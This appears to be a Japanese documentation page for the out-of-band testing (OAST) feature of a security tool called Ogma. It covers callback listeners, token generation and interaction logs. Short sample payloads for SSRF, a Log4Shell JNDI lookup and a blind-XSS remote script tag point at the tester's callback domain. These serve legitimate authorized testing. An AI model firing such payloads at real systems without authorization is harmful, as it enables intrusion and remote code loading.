OAST
OAST(帯域外アプリケーションセキュリティテスト)は、目に見えるレスポンスを生成しない脆弱性を検出します。対象が代わりに、こちらで制御するリスナーへ外向きの接続を行うことで問題を確認します。
仕組み
Ogma は複数のプロトコルでローカルリスナーを実行します。対象アプリケーションがいずれかのリスナーに接続すると、送信元 IP、タイムスタンプ、受信データ、注入したトークンとともにやり取りが記録されます。
リスナーのプロトコル
| プロトコル | 既定のポート | 用途 |
|---|---|---|
| HTTP | 設定可能 | SSRF、ブラインド XSS、Webhook |
| HTTPS | 設定可能 | TLS 経由の SSRF |
| DNS | 設定可能 | ブラインドインジェクション、XXE、log4shell |
| SMTP | 設定可能 | メールヘッダーインジェクション、メールサービスへの SSRF |
OAST の設定パネルで、リスナーのポートと生成するトークンに使用するドメイン名を設定します。
コールバックトークンの生成
- ユーティリティ > OASTを開きます。
- + 新規をクリックし、続いて作成をクリックします。各テストのトークンは一意です。
- トークンをコピーします。リスナーのドメインと一意な識別子を含むため、やり取りを個別のテストに対応付けられます。
トークン形式の例:[unique-id].[your-oast-domain]
ペイロード内でのトークンの使用
アプリケーションが外向きの接続を行う可能性のあるフィールドに、コールバックトークンを注入します。
- SSRF:HTTP/HTTPS トークンを対象 URL として使用します:
https://[token]/ - XXE:DOCTYPE または外部エンティティの URL でトークンを参照します。
- Log4Shell:ヘッダーに埋め込みます:
${jndi:ldap://[token]/a} - ブラインド XSS:スクリプトの src として注入します:
<script src="https://[token]/x.js"></script> - SMTP インジェクション:メールヘッダー内の宛先アドレスや URL として使用します。
やり取りのログ
やり取りパネルには受信したすべてのコールバックが表示されます。
| 列 | 説明 |
|---|---|
| 時間 | やり取りを受信した時刻 |
| プロトコル | HTTP、HTTPS、DNS、SMTP |
| 送信元 IP | 接続を行った IP アドレス |
| トークン | 接続先となったトークン |
| データ | リクエストパス、DNS クエリ名、SMTP データ |
行をクリックすると、該当する場合はリクエストヘッダーとボディを含め、やり取りの詳細全体を確認できます。
やり取りとテストの対応付け
各トークンが一意なので、異なるパラメーターやリクエストに別々のトークンを注入し、どの注入箇所がコールバックを引き起こしたかを正確に判断できます。